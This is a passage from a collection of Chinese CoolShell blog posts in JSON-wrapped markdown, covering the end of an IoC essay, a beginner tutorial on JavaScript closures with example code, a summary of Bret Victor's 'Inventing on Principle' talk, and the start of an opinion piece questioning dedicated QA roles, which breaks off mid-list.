IoC)思想。IoC是每一个初级程序员向高级进阶所需要了解的**最重要**的设计思想。由于Spring等开发框架的流行，知道IoC概念的程序员不在少数，但不少人对于IoC的理解仅仅停留在通过依赖注入 (Dependency Injection)实现解耦这个层面。实际上，IoC的应用不仅包括解耦，它还是框架的基本原理，在非计算机领域，IoC也是无处不在，如果你能从上面的例子中体会到IoC，这才算是融会贯通了。\n\n\n软件开发中一种最常见的模式是“以用户为出发点，以需求分析为核心”。该模式提倡从用户需求中分析推导出设计和实现，比如，TDD式的设计正是这类典型。而IoC式的软件设计与此截然相反，IoC的设计是一种“以愿景（自身利益是愿景的重要方面）为出发点，以架构为核心”的模式。如果用户的需求是一台电脑，我们如何能通过第一种模式分析需求推导出“主板-CPU-内存-外设”的PC架构呢？恐怕很难。IoC式的设计是以用户看不见摸不着的架构为核心，自己主导设计，用户需求是设计的约束条件和验证手段，而不是出发点和目标。我们想要掌握主动，不被需求变化搞得疲于奔命，就必须熟练使用第二种模式。\n\n\n我们的人生都被环境和各种客观条件所束缚，多数人只能随波逐流，听从命运的安排。你有没有想过要拥有人生的主导权呢？既然你是程序员，你懂IoC，你能否设计自己的人生框架呢？Yes，you can!\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![IoC/DIP其实是一种管理思想](../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg)](https://coolshell.cn/articles/9949.html)[IoC/DIP其实是一种管理思想](https://coolshell.cn/articles/9949.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\n* [![从面向对象的设计模式看软件设计](../wp-content/uploads/2013/01/kiss-150x150.png)](https://coolshell.cn/articles/8961.html)[从面向对象的设计模式看软件设计](https://coolshell.cn/articles/8961.html)\n* [![用Unix的设计思想来应对多变的需求](../wp-content/uploads/2012/05/Bannière-Unix-linux-150x150.jpg)](https://coolshell.cn/articles/7236.html)[用Unix的设计思想来应对多变的需求](https://coolshell.cn/articles/7236.html)\n* [![我做系统架构的一些原则](../wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png)](https://coolshell.cn/articles/21672.html)[我做系统架构的一些原则](https://coolshell.cn/articles/21672.html)\n* [![Go 编程模式：k8s Visitor 模式](../wp-content/uploads/2020/12/go.k8s-150x150.png)](https://coolshell.cn/articles/21263.html)[Go 编程模式：k8s Visitor 模式](https://coolshell.cn/articles/21263.html)\nThe post [需求变化与IoC](https://coolshell.cn/articles/6950.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-3-7 理解Javascript的闭包.md",
    "content": "---\nlayout: post\ntitle: 理解Javascript的闭包\ndate: 2012/3/7/ 0:30:43\nupdated: 2012/3/7/ 0:30:43\nstatus: publish\npublished: true\ntype: post\n---\n\n【感谢 Neo 投递本文 – 微博帐号：[\\_锟\\_](http://weibo.com/gandalfthegrey \"_锟_\") 】\n\n\n**前言：还是一篇入门文章。**Javascript中有几个非常重要的语言特性——对象、原型继承、闭包。其中闭包对于那些使用传统静态语言C/C++的程序员来说是一个新的语言特性。本文将以例子入手来介绍Javascript闭包的语言特性，并结合一点ECMAScript语言规范来使读者可以更深入的理解闭包。\n\n\n注：**本文是入门文章，例子素材整理于网络**，如果你是高手，欢迎针对文章提出技术性建议和意见。本文讨论的是Javascript，不想做语言对比，如果您对Javascript天生不适，请自行绕道。****\n\n\n#### **什么是闭包**\n\n\n闭包是什么?闭包是Closure，这是静态语言所不具有的一个新特性。但是闭包也不是什么复杂到不可理解的东西，简而言之，闭包就是：\n\n\n* **闭包就是函数的局部变量集合，只是这些局部变量在函数返回后会继续存在。**\n* **闭包就是就是函数的“堆栈”在函数返回后并不释放，我们也可以理解为这些函数堆栈并不在栈上分配而是在堆上分配**\n* **当在一个函数内定义另外一个函数就会产生闭包**\n\n\n上面的第二定义是第一个补充说明，抽取第一个定义的主谓宾——闭包是**函数的‘局部变量’集合**。只是这个局部变量是可以在函数返回后被访问。（这个不是官方定义，但是这个定义应该更有利于你理解闭包）\n\n\n做为局部变量都可以被函数内的代码访问，这个和静态语言是没有差别。闭包的差别在于局部变变量可以在函数执行结束后仍然被函数外的代码访问。这意味着函数必须返回一个指向闭包的“引用”，或将这个”引用”赋值给某个外部变量，才能保证闭包中局部变量被外部代码访问。当然包含这个引用的实体应该是一个对象，因为在Javascript中除了基本类型剩下的就都是对象了。可惜的是，ECMAScript并没有提供相关的成员和方法来访问闭包中的局部变量。但是在ECMAScript中，函数对象中定义的**内部函数(inner function)**是可以直接访问外部函数的局部变量，通过这种机制，我们就可以以如下的方式完成对闭包的访问了。\n\n\n\n[javascript]  \n\nfunction greeting(name) {  \n\n var text = ‘Hello ‘ + name; // local variable  \n\n // 每次调用时，产生闭包，并返回内部函数对象给调用者  \n\n return function() { alert(text); }  \n\n}  \n\nvar sayHello=greeting(\"Closure\");  \n\nsayHello() // 通过闭包访问到了局部变量text  \n\n[/javascript]\n\n\n上述代码的执行结果是：Hello Closure，因为sayHello()函数在greeting函数执行完毕后，仍然可以访问到了定义在其之内的局部变量text。\n\n\n好了，这个就是传说中闭包的效果，闭包在Javascript中有多种应用场景和模式，比如Singleton，Power Constructor等这些Javascript模式都离不开对闭包的使用。\n\n\n#### **ECMAScript闭包模型**\n\n\nECMAScript到底是如何实现闭包的呢？想深入了解的亲们可以获取[ECMAScript 规范](http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-262.pdf)进行研究，我这里也只做一个简单的讲解，内容也是来自于网络。\n\n\n在ECMAscript的脚本的函数运行时，每个函数关联都有一个执行上下文场景(Execution Context) ，这个执行上下文场景中包含三个部分\n\n\n* 文法环境（The LexicalEnvironment）\n* 变量环境（The VariableEnvironment）\n* this绑定\n\n\n其中第三点this绑定与闭包无关，不在本文中讨论。文法环境中用于解析函数执行过程使用到的变量标识符。我们可以将文法环境想象成一个对象，该对象包含了两个重要组件，环境记录(Enviroment Recode)，和外部引用(指针)。环境记录包含包含了函数内部声明的局部变量和参数变量，外部引用指向了外部函数对象的上下文执行场景。全局的上下文场景中此引用值为NULL。这样的数据结构就构成了一个单向的链表，每个引用都指向外层的上下文场景。\n\n\n例如上面我们例子的闭包模型应该是这样，sayHello函数在最下层，上层是函数greeting，最外层是全局场景。如下图：  \n\n![](../wp-content/uploads/2012/03/closure.png)  \n\n因此当sayHello被调用的时候，sayHello会通过上下文场景找到局部变量text的值，因此在屏幕的对话框中显示出”Hello Closure”  \n\n变量环境(The VariableEnvironment)和文法环境的作用基本相似，具体的区别请参看ECMAScript的规范文档。\n\n\n#### **闭包的样列**\n\n\n前面的我大致了解了Javascript闭包是什么，闭包在Javascript是怎么实现的。下面我们通过针对一些例子来帮助大家更加深入的理解闭包，下面共有5个样例，例子来自于[JavaScript Closures For Dummies(](http://blog.morrisjohns.com/javascript_closures_for_dummies.html)[镜像](http://web.archive.org/web/20080209105120/http://blog.morrisjohns.com/javascript_closures_for_dummies)[)](http://blog.morrisjohns.com/javascript_closures_for_dummies.html)。  \n\n**例子1:闭包中局部变量是引用而非拷贝**\n\n\n[javascript]  \n\nfunction say667() {  \n\n // Local variable that ends up within closure  \n\n var num = 666;  \n\n var sayAlert = function() { alert(num); }  \n\n num++;  \n\n return sayAlert;  \n\n}\n\n\nvar sayAlert = say667();  \n\nsayAlert()  \n\n[/javascript]\n\n\n因此执行结果应该弹出的667而非666。\n\n\n**例子2：多个函数绑定同一个闭包，因为他们定义在同一个函数内。**\n\n\n[javascript]  \n\nfunction setupSomeGlobals() {  \n\n // Local variable that ends up within closure  \n\n var num = 666;  \n\n // Store some references to functions as global variables  \n\n gAlertNumber = function() { alert(num); }  \n\n gIncreaseNumber = function() { num++; }  \n\n gSetNumber = function(x) { num = x; }  \n\n}  \n\nsetupSomeGlobals(); // 为三个全局变量赋值  \n\ngAlertNumber(); //666  \n\ngIncreaseNumber();  \n\ngAlertNumber(); // 667  \n\ngSetNumber(12);//  \n\ngAlertNumber();//12  \n\n[/javascript]\n\n\n**例子3：当在一个循环中赋值函数时，这些函数将绑定同样的闭包**\n\n\n[javascript]  \n\nfunction buildList(list) {  \n\n var result = [];  \n\n for (var i = 0; i < list.length; i++) {  \n\n var item = ‘item’ + list[i];  \n\n result.push( function() {alert(item + ‘ ‘ + list[i])} );  \n\n }  \n\n return result;  \n\n}\n\n\nfunction testList() {  \n\n var fnlist = buildList([1,2,3]);  \n\n // using j only to help prevent confusion – could use i  \n\n for (var j = 0; j < fnlist.length; j++) {  \n\n fnlist[j]();  \n\n }  \n\n}  \n\n[/javascript]\n\n\ntestList的执行结果是弹出item3 undefined窗口三次，因为这三个函数绑定了同一个闭包，而且item的值为最后计算的结果，但是当i跳出循环时i值为4，所以list[4]的结果为undefined.\n\n\n**例子4：外部函数所有局部变量都在闭包内，即使这个变量声明在内部函数定义之后。**\n\n\n[javascript]  \n\nfunction sayAlice() {  \n\n var sayAlert = function() { alert(alice); }  \n\n // Local variable that ends up within closure  \n\n var alice = ‘Hello Alice’;  \n\n return sayAlert;  \n\n}  \n\nvar helloAlice=sayAlice();  \n\nhelloAlice();  \n\n[/javascript]\n\n\n执行结果是弹出”Hello Alice”的窗口。即使局部变量声明在函数sayAlert之后，局部变量仍然可以被访问到。\n\n\n**例子5：每次函数调用的时候创建一个新的闭包**\n\n\n[javascript]  \n\nfunction newClosure(someNum, someRef) {  \n\n // Local variables that end up within closure  \n\n var num = someNum;  \n\n var anArray = [1,2,3];  \n\n var ref = someRef;  \n\n return function(x) {  \n\n num += x;  \n\n anArray.push(num);  \n\n alert(‘num: ‘ + num +  \n\n ‘\\nanArray ‘ + anArray.toString() +  \n\n ‘\\nref.someVar ‘ + ref.someVar);  \n\n }  \n\n}  \n\nclosure1=newClosure(40,{someVar:’closure 1′});  \n\nclosure2=newClosure(1000,{someVar:’closure 2′});\n\n\nclosure1(5); // num:45 anArray[1,2,3,45] ref:’someVar closure1′  \n\nclosure2(-10);// num:990 anArray[1,2,3,990] ref:’someVar closure2’  \n\n[/javascript]\n\n\n#### **闭包的应用**\n\n\n**Singleton 单件：**\n\n\n[javascript]  \n\nvar singleton = function () {  \n\n var privateVariable;  \n\n function privateFunction(x) {  \n\n …privateVariable…  \n\n }\n\n\n return {  \n\n firstMethod: function (a, b) {  \n\n …privateVariable…  \n\n },  \n\n secondMethod: function (c) {  \n\n …privateFunction()…  \n\n }  \n\n };  \n\n}();  \n\n[/javascript]\n\n\n这个单件通过闭包来实现。通过闭包完成了私有的成员和方法的封装。匿名主函数返回一个对象。对象包含了两个方法，方法1可以方法私有变量，方法2访问内部私有函数。需要注意的地方是匿名主函数结束的地方的'()’，如果没有这个'()’就不能产生单件。因为匿名函数只能返回了唯一的对象，而且不能被其他地方调用。这个就是利用闭包产生单件的方法。\n\n\n**参考：**\n-------\n\n\n[JavaScript Closures For Dummies(](http://blog.morrisjohns.com/javascript_closures_for_dummies.html)[镜像](http://web.archive.org/web/20080209105120/http://blog.morrisjohns.com/javascript_closures_for_dummies)[)](http://blog.morrisjohns.com/javascript_closures_for_dummies.html) 可惜都被墙了。  \n\n[Advance Javascript](http://yuiblog.com/blog/2006/11/27/video-crockford-advjs/) （Douglas Crockford 大神的视频，一定要看啊）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![再谈javascript面向对象编程 ](../wp-content/uploads/2012/02/joo_1-150x150.png)](https://coolshell.cn/articles/6668.html)[再谈javascript面向对象编程](https://coolshell.cn/articles/6668.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/6441.html)[Javascript 面向对象编程](https://coolshell.cn/articles/6441.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5202.html)[对象的消息模型](https://coolshell.cn/articles/5202.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\nThe post [理解Javascript的闭包](https://coolshell.cn/articles/6731.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-3-9 Bret Victor – Inventing on Principle.md",
    "content": "---\nlayout: post\ntitle: Bret Victor – Inventing on Principle\ndate: 2012/3/9/ 0:38:48\nupdated: 2012/3/9/ 0:38:48\nstatus: publish\npublished: true\ntype: post\n---\n\n[Bret Victor](http://worrydream.com)（[简历](http://worrydream.com/#!/cv/bret_victor_resume.pdf)） – 苹果公司的UI交互设计师（大神级的人），在 [CUSEC](http://cusec.net)（*Canadian University Software Engineering Conference*） 上做了一个题为 “Inventing on Principle” 的演讲（[vimeo视频链接](http://vimeo.com/36579366)），这个演讲中展示了五个示例：\n\n\n* 用程序画树。如何把程序绘图变成实时的，如何把程序和图映射起来。\n* 游戏调试。在实时编程的基础上，可以更容易的让你看到程序参数对游戏的调整，甚至对游戏过程的可视化调试。\n* 算法调试。在写二分查找算法时可以实时看到程序的执行过程。边写边看到。\n* 电路图。可以实时地看到电路图中各个部件的对1/0信号的处理。\n* 动画。一种比flash制作动画更NB 的方法。\n\n\n下面是优酷上的视频——你一定会被示例中的那些编程工具所震撼！\n\n\n\n不过，Bret并不是在说什么编程，也不是在说什么技术，他是在说 How to live your life。\n\n\n\n他认为，在我们的生活当中，我们听到太多的诸如：“跟随你的喜好”、“跟随你的兴趣”，“跟随你的热情”之类的东西，但他更认为，更应该是“跟随一个原则 follow you principle”，他认为真正能让你把事做正确的不是你的喜好，不是你的兴趣，也不是热情，而一个做事的原则。在这个演讲中Bret介绍了他自己的原则和他人的原则，供你参考和并找到你的原则从而live in your life。\n\n\nBret的原则是，他觉得人总是会有很多想法，而把这些想法变成现实是一件非常重要的事，也是最难的事。他觉得当我们在写代码实现一个东西的时候，在实现一个游戏，算法，电路，动画的时候，人很难把自己脑海里的东西映射成现实的东西，因为一个想法变成现实，需要反反复复的调整，如果看不见，就没办法调整。而我们在写好程序，需要编译程序，运行程序，才能看到结果，之后，有些东西发现并不满意，需要做调整，于是需要猜着去改一下程序，再编译运行，再看结果，于是，这个调整的过程相当令人痛苦，因为代码里的那些数字，我需要一点一点地去试，调大调小，总是不能调到我们想要的结果，从而让人无法正常思考。所以，他的原则是——**创造者需要对自己的创造的东西有实时的反馈**。于是出现了视频中的实时编程的那些示例。（其实，这个东西和Firebug很相似，我还记得以前和朋友说过，如果写C/C++程序也能有像Firebug的这种工具就好了，现在果然离实现不远了）\n\n\nBret说起他的动机的时候，他说，他把这个事当成了一种责任而不是一种机会。他说，这就好像我们听到的：审查机制，性别歧视，环境破坏，违反人权等这些问题，绝大多数人是不会把这些事当成一个机会的，而那些有责任感的人会把解决这些问题当作一种责任。同样，当他看到我们被工具或环境限制住了我们创造东西的过程时，他并不觉得这是一个可以发明更好的产品的机会，甚至这是开创自己事业的机会，或是对社会做贡献的机会。他认为想法相当的宝贵，如果一个好的想法推动不了的时候，他会很难受，就像看到一场灾难一样，他觉得，让大家的想法能够顺的进行，这是他的一个责任。\n\n\n后面他，举到了很多人的例子，\n\n\n[Larry Tesler](http://en.wikipedia.org/wiki/Larry_Tesler) – 著名的计算机科学家，前苹果的首席科学家，图形界面的创造者（在“[SteveY对Amazon和Google平台的长篇大论](https://coolshell.cn/articles/5701.html \"SteveY对Amazon和Google平台的长篇大论\")”中提到过他）。他在70年代看到人们在使用电脑文本编辑器时，需要按某个键进入某种模式（Mode），然后才能输入（VI）。他觉得这样操作起来很复杂，也很不舒服，所以，他为自己设定了一个原则——“Don’t Mode Me In”，他做了很多尝试，做了一个叫Gypsy的文档编辑器，可以通过拖拽移动字符，而且他还发明了复制粘贴，对于一个没有使用过电脑的人来说，只需半个小时的训练就可以输入文字了。Larry把消除模式设置成了自己的原则或责任。他的个人主页是：http://www.nomodes.com，他的Twitter是 @nomodes，甚至他的车牌也是nomodes.\n\n\n[Elizabeth Cady Stanton](http://en.wikipedia.org/wiki/Elizabeth_Cady_Stanton)，100年前的一个美国的女权主义者，当时，她主张妇女的各项权益，比如参与投票，所有人都以为他疯了，今天看来，她是对的，她消除了性别歧视。这和Larry 很相似，他们都看到了一种文化上的错误，并要预见到了未来的样子，他们都为自己设定了一个原则或是信仰，而去为之奋斗。\n\n\n[Doug Engelbart](http://en.wikipedia.org/wiki/Doug_Engelbart)，美国发明家，瑞典人和挪威人后裔。最广为人知的是他发明了鼠标，另外他的小组是人机交互的先锋，开发了超文本系统、网络计算机，以及图形用户界面的先驱；并致力于倡导运用计算机和网络，来协同解决世界上日益增长的紧急而又复杂的问题。\n\n\n[Alan Kay](http://en.wikipedia.org/wiki/Alan_Kay)，美国计算机科学家，在面向对象编程和窗口式图形用户界面方面作出了先驱性贡献。2003年获得图灵奖。目前担任Viewpoints研究院院长，加州大学伯克利分校兼职教授。曾任Apple公司院士，惠普公司资深院士。他有一句尽人皆知的名言——预测未来的最好办法就是创造未来。他相信如果小孩能够熟练掌握电脑，如果写程序是和读书写字一样成为基础知识，那么人们就掌握了一种新的方式去思考，新的方式去了解世界。他所有发明的东西都基于他自己的原则或信条。\n\n\n[Richard Stallman](http://en.wikipedia.org/wiki/Richard_Stallman)，是美国自由软件运动的精神领袖、GNU计划以及自由软件基金会（Free Software Foundation）的创立者。作为一个著名的黑客，他的主要成就包括Emacs及后来的GNU Emacs，GNU C 编译器及GDB 调试器。他所写作的GNU通用公共许可证（GNU GPL）是世上最广为采用的自由软件许可证，为copyleft观念开拓出一条崭新的道路。他的原则，是软件必须是自由的，他认为软件的自由是关乎道义上的对错的，关系到人类的自由。他没车没房没结婚没孩子，也不用手机，但他有非常忠实自由的信条和责任感。\n\n\nBret通过这些例子继续强调——他并不是要大家样做，他只是给大家一个选择。你可以成为一个非常优秀的工程师，非常熟练地掌握了一些技术，你也可以为这个社会做很多贡献，这是成为一个工匠的路，也是大多数人走的路。不过旁边还有一条路，值得去走，那就是解决问题的路，这条路往一头走是创业者，往另一头走是学者，但你需要找到一个你自己的原则，你可能需要很长时间才能找到你的原则，Bret说他花了10年才搞清楚他的原则是什么。\n\n\n个人以为，Bret所说这个原则也好，信条也好，是一种对自己创造力有引导性质的原则和信条，并不是那些已有的原则或信条，否则那只不过是在跟从了，所以，这些原则和信条应该是新的东西，是自己悟出来的东西，这样的原则和信条会导致你有一种责任感向正确的方向去创造。当然，这些原则也不是那些非常笼统和模糊的东西，比如，要创业开公司，要设计出有更好的用户体验的东西，要创造有很多用户使用的产品，或是有更好的收入什么的。其应该是明确的，有指导性的，就像Bret他自己的信条一样——“创造者需要即时的反馈”，就像他演示的那样，当你在一行一行修改你的代码的时候，你可以立即看到代码运行的过程和效果。这个原则可以指导着他要对一切达不到这个原则的东西负责，并引导着他知道应该做什么，不应该做什么，从而去创造新的东西，解决问题。\n\n\n当然，世界是多元的，每个人都有每个人自己的原则。不同的原则必然会把你导到不同的路上。不管你是否同意，视频中的那些演示是相当令人震撼的。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![从Gitlab误删除数据库想到的](../wp-content/uploads/2017/02/gitlab-600-150x150.jpg)](https://coolshell.cn/articles/17680.html)[从Gitlab误删除数据库想到的](https://coolshell.cn/articles/17680.html)\n* [![关于高可用的系统](../wp-content/uploads/2016/08/HighAvailability-BK-150x150.png)](https://coolshell.cn/articles/17459.html)[关于高可用的系统](https://coolshell.cn/articles/17459.html)\n* [![IoC/DIP其实是一种管理思想](../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg)](https://coolshell.cn/articles/9949.html)[IoC/DIP其实是一种管理思想](https://coolshell.cn/articles/9949.html)\n* [![Bret Victor – Learnable Programming](../wp-content/uploads/2012/10/Learnable_Programming-150x150.jpg)](https://coolshell.cn/articles/8387.html)[Bret Victor – Learnable Programming](https://coolshell.cn/articles/8387.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/5686.html)[多些时间能少写些代码](https://coolshell.cn/articles/5686.html)\nThe post [Bret Victor – Inventing on Principle](https://coolshell.cn/articles/6775.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-4-11 我们需要专职的QA吗？.md",
    "content": "---\nlayout: post\ntitle: 我们需要专职的QA吗？\ndate: 2012/4/11/ 0:48:59\nupdated: 2012/4/11/ 0:48:59\nstatus: publish\npublished: true\ntype: post\n---\n\n这个文章必然是有争议的，我在我的[微博](http://weibo.com/haoel)上讨论过很多次了，每次都是很有争议的。有不同的观点，有争论总是一件好事，这样可以引发大家的思考。所以，对于我的这篇博文，如果你赞同我的观点，我会感到高兴，如果你会去认真地深入思考，我也会高兴，如果你反对，没关系，可以讨论。\n\n\n在此之前，我想说明一下我观点里的这个“专职QA”是怎么定义的。\n\n\n1. 其是很多公司成立的专门做测试的技术人员，仅测试不开发。\n2. 这些QA对于软件开发技术并不熟悉，甚至不懂。\n\n\n我经历过一些公司都有专职的QA团队（专职的测试人员），自从上个公司我的开发团队在一个项目上被QA部门搞得一团糟，我越来越怀疑专职QA存在在意义。我的观点不一定对，但请让我鲜明地表达一下——**我觉得是不需要全职的QA的，甚至不需要QA这一专职角色或部门，因为，不懂开发的人必然做不好测试。就像不懂开发的研发经理必然管不好研发团队一样。**我越来越觉得Dev应该应该是做测试最合适的人选，这必然是未来的趋势 （因为我已经看到了中国程序员的进步，相比起10年前，今天的程序员已经是非常全面了，再来十年，必然证明我的观点是对的）。\n\n\n在我正在展开说明之前，我想引用两篇文章：\n\n\n#### 两篇文章\n\n\n一篇是  “[On testers and testing](http://sriramk.com/blog/2012/01/testing.html)”([中文翻译](http://www.aqee.net/on-testers-and-testing/))，本文的作者Sriram Krishnan是一名程序员，曾在Yahoo和微软工作过，开发过很多软件，曾被纽约时报[报道](http://www.nytimes.com/2011/02/27/business/27novel.html)，写过[一本书](http://amzn.to/progazure)，本文是他的一篇博客。他在文章中表达了这几个观点——\n\n\n\n> 大多数的开发团队并不需要一个独立的测试角色。即使要有，那么所有的开发时间比上所有的测试时间应该 >20:1的。。证据吗？光看看一些从古至今最成功的软件开发团队就知道了。不论是当今的Facebook，还是30年前最初的NT团队，很多伟大的产品都是出自没有或很少测试人员的团队。\n> \n> \n> 开发人员应该测试自己的代码。没什么可说的。背后的道理并不重要。这包括单元测试，全覆盖的自动化测试或手工测试或组合测试。如果你的开发人员不能/不愿意或认为这“不归我管”，那你需要更好的程序员。\n> \n> \n\n\n另一篇文章是邹欣的“[现代软件工程讲义 9 测试 QA 的角色和分工](http://www.cnblogs.com/xinz/archive/2012/04/09/2439695.html)”，这是一篇很不错的文章。他在文章里提到了分工的必要性，比如第三方的鉴定机构，**并且也指出了分工的一些问题，比如，画地为牢的分工，无明确责任的分工，等，这些问题直接命中了分工的要害**。我隐约觉得，我和邹欣的很多观点是相同的，我们内容上是相同的，只是形式上还有分歧。另外，我的观点太鲜明了，从而容易导向极端的理解。\n\n\n你看，**我们都同意，Dev要懂测试，QA要懂开发，只不过分工不同，既然你中有我，我中有你，那就不要分彼此了，一起携手开发测试吧**。（另外，我个人觉得不懂开发的测试人员不可能测试得好）\n\n\n***—- update—-*** {\n\n\n     //本篇文章出来后，网上出现了一些对此讨论的文章，我一并更新在这里  \n\n【 《[对《我们需要专职QA吗？》的回应](http://www.cnblogs.com/guanhe/archive/2012/04/12/response_to_do_we_need_qa.html)》作者：[@段念-段文韬](http://weibo.com/n/%E6%AE%B5%E5%BF%B5-%E6%AE%B5%E6%96%87%E9%9F%AC) 】  \n\n【 《[关于“我们需要专职的QA吗”》](http://blog.sina.com.cn/s/blog_55ba8b460100yawe.html)作者：[@Jacky郭](http://weibo.com/u/1764108363) 】  \n\n【 《[我们需要专职的QA吗？（评）](http://blog.sina.com.cn/s/blog_7022adbf0100zgqo.html)》作者：@[Monkey陳曄曄](http://weibo.com/aiwanglinjun \"Monkey陳曄曄\") 】  \n\n【《 [《我们需要专职的QA吗？》读后感](http://thinkcool.weebly.com/1/post/2012/04/qa.html)》作者：@ [花生色魔叔](http://weibo.com/bluesgu \"花生色魔叔\")】\n\n\n}\n\n\n\n#### 我的故事\n\n\n我再说说我最糟糕的QA经历吧，这个公司的QA部门只做测试，他们的leader觉得所有的test design和test 的过程都不需要Dev参与，他们是独立于Dev之外的部门，他们几乎不关心Dev的设计和实现，他们只关心能跑通他们自己设计的test case。但是去执行Test Case的时候，又需要Dev的支持，尤其在环境设置，测试工具使用，确认是否是bug方面，全都在消耗着Dev的资源，最扯的是，他们对任何线上的问题不负责，反正出了问题由Dev加班搞定。\n\n\n我有一次私自review他们的test case的时候，发现很多的test case这样写到 – “Expected Result：Make sure every thing is fine” ，WTF，什么叫“Every thing is fine”？！而在test case design的时候，没有说明test environment/configuration 是什么？没有说明test data在哪里？Test Case、Test Data、Test Configuration都没有版本控制，还有很多Test Case设计得非常冗余（多个Test Case只测试了一个功能），不懂得分析Function Point就做Test Design。另外，我不知道他们为什么那么热衷于设计一堆各式各样的Negative Test Case，而有很多Positive的Test Case没有覆盖到。为什么呢，因为他们不知道开发和设计的细节，所以没有办法设计出Effective的Test Case，只能从需求和表面上做黑盒。\n\n\n在做性能测试的时候，需要Dev手把手的教怎么做性能测试，如何找到系统性能极限，如何测试系统的latency，如何观察系统的负载（CPU，内存，网络带宽，磁盘和网卡I/O，内存换页……）如何做Soak Test，如何观察各个线程的资源使用情况，如何通过配置网络交换机来模拟各种网络错误，等等，等等。\n\n\n测试做得也不认真，大量的False Alarm，都是环境问题，比如：安装新版本后没有重启服务，没有使用新的配置文件，网络配置，等等，等等。\n\n\n在项目快要上线前的一周，我又私自查看了一下他们的Test Result，我看到5天的Soak Test 的内存使用一直往上涨，很明显的内存泄露，这个情况发生在2个月前，但是一直都没有报告，我只好和我的程序员每天都加班到凌晨，赶在上线前解决了这个问题。但是，QA部门的同学们就像没发生什么事似的，依然正常上下班。哎……\n\n\n为什么会这样？我觉得有这么几点原因（和邹欣的观点一样）\n\n\n1. 给了QA全部测试的权力，但是没有给相应的责任，\n2. QA没有体会过软件质量出问题后的痛苦（解决线上问题的压力），导致QA不会主动思考和改进。\n3. QA对Dev的开发过程和技术完全不了解，增加了很多QA和Dev的沟通。\n4. QA对软件项目的设计和实现要点不了解，导致了很多不有效的测试。\n\n\n**注：我无意在这里贬低QA的能力工作。只是我看到了QA因为没有参与开发的一些现实问题。**\n\n\n#### 我的观点\n\n\n邹欣对于分工出现的问题给出了两点解决方法：\n\n\n\n> \n> * 充分授权和信任（Empower team members）\n> * 各司其职，对项目共同负责（Establish clear accountability and shared responsibility）\n> \n> \n> \n\n\n我的观点是，**理论上正确，操作上太虚了。这就像我们国家喊的“为人民服务”的口号一样，没有具体的方法，根本无法落实。**\n我无意在这里贬低QA的工作，我也无意因为这个事走向另一个极端。但是，我在现在公司的经历，还有很多新兴公司的做法，**我越来越觉得软件开发，真的不需要专职的QA，更不需要只写代码不懂做测试的专职的Dev**。观点如下：\n\n\n**1）** **开发人员做测试更有效**\n\n\n* 开发人员本来就要测试自己写的软件，如果开发人员不懂测试，或是对测试不专业，那么这就不是一个专业的开发人员。\n* 开发人员了解整个软件的设计和开发过程，开发人员是最清楚应该怎么测试的，这包括单元测试，功能测试，性能测试，回归测试，以及Soak Test 等。\n* 开发人员知道怎么测试是最有效的。开发人员知道所有的function point，知道fix一个bug后，哪些测试要做回归和验证，哪些不需要。开发人员的技术能力知道怎么才能更好的做测试。\n\n\n很多开发人员只喜欢写代码，不喜欢做测试，或是他们说，开发人员应该关注于开发，而不是测试。这个思路相当的错误。开发人员最应该关注的是软件质量，需要证明自己的开发成果的质量。**开发人员如果都不知道怎么做测试，这个开发人员就是一个不合格的开发人员**。\n\n\n另外，**我始终不明白，为什么不做开发的QA会比Dev在测试上更专业？ 这一点都说不通啊**。\n\n\n**2）减少沟通，扯皮，和推诿**\n\n\n想想下面的这些情况你是否似曾相识？\n\n\n* QA 做的测试计划，测试案例设计，测试结果，总是需要Dev来评审和检查。\n* QA在做测试的过程中，总是需要Dev对其测试的环境，配置，过程做指导。\n* QA总是会和Dev争吵某个问题是不是BUG，争吵要不要解决。\n* 无论发现什么样的问题，总是Dev去解决，QA从不fix问题。\n* 我们总是能听到，线上发生问题的时候，Dev的抱怨QA这样的问题居然没测出来，\n* QA也总会抱怨Dev代码太差，一点也不懂测试，没怎么测就给hand over 给QA了。\n* QA总是会push Dev，这个bug再不fix，你就影响我的进度了。\n* 